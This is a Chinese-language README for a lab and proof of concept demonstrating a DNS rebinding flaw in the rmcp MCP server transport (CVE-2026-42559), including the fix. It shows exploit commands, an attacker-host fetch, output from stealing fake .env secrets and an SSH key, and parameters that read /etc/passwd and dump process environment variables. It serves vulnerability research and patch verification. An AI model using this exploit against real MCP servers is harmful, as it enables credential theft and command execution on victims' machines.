rmcp Streamable HTTP 服务器传输中的 DNS 重绑定漏洞一个自包含的 Docker 实验环境和 Python 概念验证(PoC),用于演示 CVE-2026-42559 (GHSA-89vp-x53w-74fx / RUSTSEC-2026-0189)。
| 受影响版本 | rmcp — 模型上下文协议的官方 Rust SDK — < 1.4.0 |
| 修复版本 | 1.4.0(2026-04-10) |
| CWE | CWE-346(来源验证错误)、CWE-350 |
| CVSS 3.1 | 8.8 高危 — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
rmcp < 1.4.0 中的 Streamable HTTP 服务器传输从未检查入站的 Host 头。MCP 服务器通常绑定到回环地址,仅受浏览器的同源策略保护——而 DNS 重绑定可以绕过这一策略:
http://evil.example,该页面使用 1 秒的 DNS TTL 提供服务。evil.example → 127.0.0.1。fetch("http://evil.example:8000/mcp", …)。该请求到达受害者本地的 MCP 服务器,但浏览器仍将其视为同源请求——无需 CORS 预检,JavaScript 可以读取所有响应。将该请求与合法请求区分开的唯一因素是 Host 头:evil.example:8000 而不是 127.0.0.1:8000。由于没有验证,攻击者的页面可以获得完整的 MCP 会话,并枚举和调用服务器暴露的所有工具——文件读取、写入、shell 执行,以及助手被配置的任何操作。
1.4.0 版本新增了 StreamableHttpServerConfig::allowed_hosts,默认值为 ["localhost", "127.0.0.1", "::1"],并在请求处理程序顶部添加了 validate_dns_rebinding_headers() 检查门,否则返回 403 Forbidden。
.
├── docker-compose.yml # 两个服务,相同源码,不同 rmcp 版本
├── mcp-server/ # 一个真实的"开发者助手"MCP 服务器
│ ├── Cargo.toml
│ ├── Dockerfile # RMCP_VERSION 构建参数用于固定 crate 版本
│ └── src/main.rs
└── exploit/
└── exploit.py # PoC,Python 3.9+,无依赖
两个容器构建相同的 src/main.rs,使用相同的服务器配置。
唯一的区别是固定的 crate 版本,因此行为变化完全来自库本身:
服务器暴露了 whoami、read_file 和 run_command,镜像中预置了位于 /home/dev/project/.env 和 /home/dev/.ssh/id_ed25519 的伪造凭据,以便漏洞利用有可窃取的目标。
docker compose up -d --build
利用存在漏洞的构建版本:
python3 exploit/exploit.py --target 127.0.0.1:8000
CVE-2026-42559 :: rmcp Streamable HTTP -- Host 头未经验证
target http://127.0.0.1:8000/mcp
legit Host 127.0.0.1:8000
rebind Host mcp-rebind.attacker.example:8000
[*] 步骤 0:使用合法的 Host 头进行基线握手
[+] 200 OK -- 服务器已启动:rmcp 1.3.0
[*] 步骤 1:重放重绑定后的请求(Host: mcp-rebind.attacker.example:8000)
[!] 200 OK -- 伪造的 Host 头被接受:存在 CVE-2026-42559 漏洞
[+] 从外部来源打开了会话:Mcp-Session-Id=589c9643-d2e6-4267-8ed5-86265f0d8b57
[*] 步骤 2:枚举现在暴露给攻击者页面的工具
- read_file 从工作站读取文件
- run_command 在工作站上运行 shell 命令
- whoami 描述此助手运行所在的工作站
[*] 步骤 3:以攻击者页面作为本地 MCP 客户端的方式调用工具
tools/call whoami
| user=unknown host=35b31d892a7a pid=1
tools/call read_file path=/home/dev/project/.env
| STRIPE_SECRET_KEY=sk_live_FAKE_0000000000000000
| DATABASE_URL=postgres://app:[email protected]:5432/app
tools/call read_file path=/home/dev/.ssh/id_ed25519
| -----BEGIN OPENSSH PRIVATE KEY-----
| FAKE-KEY-FOR-THE-CVE-2026-42559-LAB-DO-NOT-USE
| -----END OPENSSH PRIVATE KEY-----
tools/call run_command command='id; uname -a'
| uid=1000(dev) gid=1000(dev) groups=1000(dev)
| Linux 35b31d892a7a 6.10.14-linuxkit #1 SMP aarch64 GNU/Linux
[!] 从网页实现对受害者主机的任意读取和命令执行
然后测试已修复的构建版本,以确认修复效果:
python3 exploit/exploit.py --target 127.0.0.1:8001
[*] 步骤 0:使用合法的 Host 头进行基线握手
[+] 200 OK -- 服务器已启动:rmcp 1.4.0
[*] 步骤 1:重放重绑定后的请求(Host: mcp-rebind.attacker.example:8001)
[+] 403 Forbidden -- 禁止访问:Host 头不被允许
[+] 不存在漏洞:此构建版本验证了 Host 头(rmcp >= 1.4.0)
当目标存在漏洞时退出码为 1,不存在漏洞时为 0,因此该脚本可以直接集成到 CI 中。
有用的参数:
python3 exploit/exploit.py \
--target 127.0.0.1:8000 \
--rebind-host wallet.attacker.example \
--loot /etc/passwd \
--command 'cat /proc/self/environ | tr "\0" "\n"'
使用 docker compose down 进行清理。
该漏洞利用程序向目标打开一个 TCP 连接,并写入一个由攻击者控制的 Host 头(http.client.putrequest(..., skip_host=True))。这与重绑定浏览器发出的请求逐字节相同——DNS 重绑定只是让浏览器向回环套接字发送外部 Host 的机制。以这种方式复现可以将实验环境保持在两个容器内且无需 DNS 基础设施,同时精确测试 CVE 所涉及的代码路径。
// 1. 升级。
// rmcp = "1.4" (或更高版本)
// 2. 从 1.4.0 起,仅回环地址是默认配置——对于本地绑定的服务器无需任何操作。
let config = StreamableHttpServerConfig::default();
// 3. 对于真正的公网部署,请将您自己的域名加入白名单。
let config = StreamableHttpServerConfig::default()
.with_allowed_hosts(["mcp.example.com", "mcp.example.com:8443"]);
如果无法升级,请将 MCP 端点置于拒绝未知 Host 值的反向代理之后,并且在没有此类代理的情况下不要将服务器绑定到 0.0.0.0。disable_allowed_hosts() 虽然存在,但会重新引入此确切漏洞。
此处所有内容均为故意存在漏洞,仅用于研究和教育目的。容器按设计暴露了 shell 执行工具——请仅在您自己拥有的机器上运行此实验环境,切勿将漏洞利用程序指向您未被授权测试的主机。
| 服务 | 端口 | rmcp | 预期结果 |
|---|
vulnerable | 127.0.0.1:8000 | 1.3.0 | 伪造的 Host 被接受 → 完全沦陷 |
patched | 127.0.0.1:8001 | 1.4.0 | 伪造的 Host → 403 Forbidden |